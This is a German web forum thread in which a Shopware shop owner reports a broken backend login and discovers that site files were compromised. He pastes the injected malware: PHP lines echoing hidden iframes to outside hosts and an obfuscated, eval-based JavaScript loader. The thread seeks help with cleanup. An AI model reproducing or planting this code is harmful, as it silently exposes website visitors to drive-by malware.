Hallo, ich habe seit ein paar Tagen das Problem, dass ich mich nicht mehr im Backend einloggen kann. Es wurden keine Änderungen and Dateien oder der Datenbank vorgenommen. Wenn ich das Backend aufrufe, kommt lediglich der blaue Hintergrund. Das Loginformular fehlt leider. Wäre super, wenn jemand eine Idee hat. (SW 3.5.6) [Link entfernt] Vielen Dank schonmal im Voraus! LG Leif
*push*
Das passiert wenn man mit Firefox das Backend aufruft. Also am besten Chrome nutzen.
danke für die antwort, aber mit chrome funktioniert es leider auch nicht.
firebug zeigt folgende fehler beim aufruf des backends an: [code] SyntaxError: missing ) after formal parameters [Bei diesem Fehler anhalten] bv=(5-3-1);aq=“0”+“x”;sp=“spli”+“t”;ff=String.fromCharCode;w=window;z= ext-lang-de.js (Zeile 14, Spalte 60) TypeError: Ext.UpdateManager is undefined [Bei diesem Fehler anhalten] …anager.defaults.indicatorText = ’
Ãœbertrage Daten… ext-lang-de.js (Zeile 14) TypeError: H is undefined [Bei diesem Fehler anhalten] Ext.onReady(function(){ auth (Zeile 212) TypeError: H is undefined [Bei diesem Fehler anhalten] …:function(L){return j(L,“Y”)},getXY:function(L){return[this.getPageX(L),this.get… ext-base.js (Zeile 7) TypeError: Ext.onReady is not a function [Bei diesem Fehler anhalten] Ext.onReady(function(){ auth (Zeile 212) [/code]
So, ich kann mich nun wieder einloggen, allerdings erst nach größerem Aufwand. Es waren viele *.js und auch einige *.php Dateien mit schadhaftem Code infiziert. Ich habe den kompletten engine-Ordner ersetzt und die Passwörter für FTP- und MYSQL-Zugang ersetzt. Es wurden, wie beispielsweise in der „engine/auth.php“ iframes eingefügt. <?php echo "<iframe src=\"http://herofreemanja.com/img1/count.htm\" width=\"1\" height=\"1\" frameborder=\"0\">" ?\><?php echo "<iframe src=\"http://sraphicshouldn.su/img2/count.htm\" width=\"1\" height=\"1\" frameborder=\"0\">"; ?\> In der „engine/index.php“ war folgendes zu finden: #da3e94# echo " <script type='\"text/javascript\"' language='\"javascript\"'> bv=(5-3-1);aq=\"0\"+\"x\";sp=\"spli\"+\"t\";w=window;ff=String.fromCharCode;z=\"dy\";try{document[\"\x62o\"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w[\"eval\"];if(1){f=\"17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,6d,63,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,6d,63,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,6e,6e,25,59,66,65,66,5c,64,67,63,5c,66,25,5a,66,64,26,60,64,5e,26,5a,66,6c,65,6b,5c,69,25,67,5f,67,1e,32,4,1,17,6d,63,25,6a,6b,70,63,5c,25,67,66,6a,60,6b,60,66,65,17,34,17,1e,58,59,6a,66,63,6c,6b,5c,1e,32,4,1,17,6d,63,25,6a,6b,70,63,5c,25,59,66,69,5b,5c,69,17,34,17,1e,27,1e,32,4,1,17,6d,63,25,6a,6b,70,63,5c,25,5f,5c,60,5e,5f,6b,17,34,17,1e,28,67,6f,1e,32,4,1,17,6d,63,25,6a,6b,70,63,5c,25,6e,60,5b,6b,5f,17,34,17,1e,28,67,6f,1e,32,4,1,17,6d,63,25,6a,6b,70,63,5c,25,63,5c,5d,6b,17,34,17,1e,28,67,6f,1e,32,4,1,17,6d,63,25,6a,6b,70,63,5c,25,6b,66,67,17,34,17,1e,28,67,6f,1e,32,4,1,4,1,17,60,5d,17,1f,18,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,39,70,40,5b,1f,1e,6d,63,1e,20,20,17,72,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,6e,69,60,6b,5c,1f,1e,33,5b,60,6d,17,60,5b,34,53,1e,6d,63,53,1e,35,33,26,5b,60,6d,35,1e,20,32,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,39,70,40,5b,1f,1e,6d,63,1e,20,25,58,67,67,5c,65,5b,3a,5f,60,63,5b,1f,6d,63,20,32,4,1,17,74,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,4a,5c,6b,3a,66,66,62,60,5c,1f,5a,66,66,62,60,5c,45,58,64,5c,23,5a,66,66,62,60,5c,4d,58,63,6c,5c,23,65,3b,58,70,6a,23,67,58,6b,5f,20,17,72,4,1,17,6d,58,69,17,6b,66,5b,58,70,17,34,17,65,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,6d,58,69,17,5c,6f,67,60,69,5c,17,34,17,65,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,60,5d,17,1f,65,3b,58,70,6a,34,34,65,6c,63,63,17,73,73,17,65,3b,58,70,6a,34,34,27,20,17,65,3b,58,70,6a,34,28,32,4,1,17,5c,6f,67,60,69,5c,25,6a,5c,6b,4b,60,64,5c,1f,6b,66,5b,58,70,25,5e,5c,6b,4b,60,64,5c,1f,20,17,22,17,2a,2d,27,27,27,27,27,21,29,2b,21,65,3b,58,70,6a,20,32,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,17,34,17,5a,66,66,62,60,5c,45,58,64,5c,22,19,34,19,22,5c,6a,5a,58,67,5c,1f,5a,66,66,62,60,5c,4d,58,63,6c,5c,20,4,1,17,22,17,19,32,5c,6f,67,60,69,5c,6a,34,19,17,22,17,5c,6f,67,60,69,5c,25,6b,66,3e,44,4b,4a,6b,69,60,65,5e,1f,20,17,22,17,1f,1f,67,58,6b,5f,20,17,36,17,19,32,17,67,58,6b,5f,34,19,17,22,17,67,58,6b,5f,17,31,17,19,19,20,32,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,3e,5c,6b,3a,66,66,62,60,5c,1f,17,65,58,64,5c,17,20,17,72,4,1,17,6d,58,69,17,6a,6b,58,69,6b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,60,65,5b,5c,6f,46,5d,1f,17,65,58,64,5c,17,22,17,19,34,19,17,20,32,4,1,17,6d,58,69,17,63,5c,65,17,34,17,6a,6b,58,69,6b,17,22,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,22,17,28,32,4,1,17,60,5d,17,1f,17,1f,17,18,6a,6b,58,69,6b,17,20,17,1d,1d,4,1,17,1f,17,65,58,64,5c,17,18,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,6a,6c,59,6a,6b,69,60,65,5e,1f,17,27,23,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,20,17,20,17,20,4,1,17,72,4,1,17,69,5c,6b,6c,69,65,17,65,6c,63,63,32,4,1,17,74,4,1,17,60,5d,17,1f,17,6a,6b,58,69,6b,17,34,34,17,24,28,17,20,17,69,5c,6b,6c,69,65,17,65,6c,63,63,32,4,1,17,6d,58,69,17,5c,65,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,60,65,5b,5c,6f,46,5d,1f,17,19,32,19,23,17,63,5c,65,17,20,32,4,1,17,60,5d,17,1f,17,5c,65,5b,17,34,34,17,24,28,17,20,17,5c,65,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,63,5c,65,5e,6b,5f,32,4,1,17,69,5c,6b,6c,69,65,17,6c,65,5c,6a,5a,58,67,5c,1f,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,6a,6c,59,6a,6b,69,60,65,5e,1f,17,63,5c,65,23,17,5c,65,5b,17,20,17,20,32,4,1,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1\"[sp](\",\");}w=f;s=[];for(i=2-2;-i+1315!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}</script>"; #/da3e94# ?\><?php echo ""; ?> In anderen Dateien sah es ähnlich aus. „#da3e94#“ Danach kommt häufig der eingefügte Code. Jetzt zu meiner Frage. Hatte von euch schonmal jemand ein ähnliches Problem oder weiß zumindest, was der Code anrichten kann? GData gibt leider nur folgende Informationen zu den infizierten DAteien: Kategorie = Virus Beschreibung = JS:Trojan.Iframe.V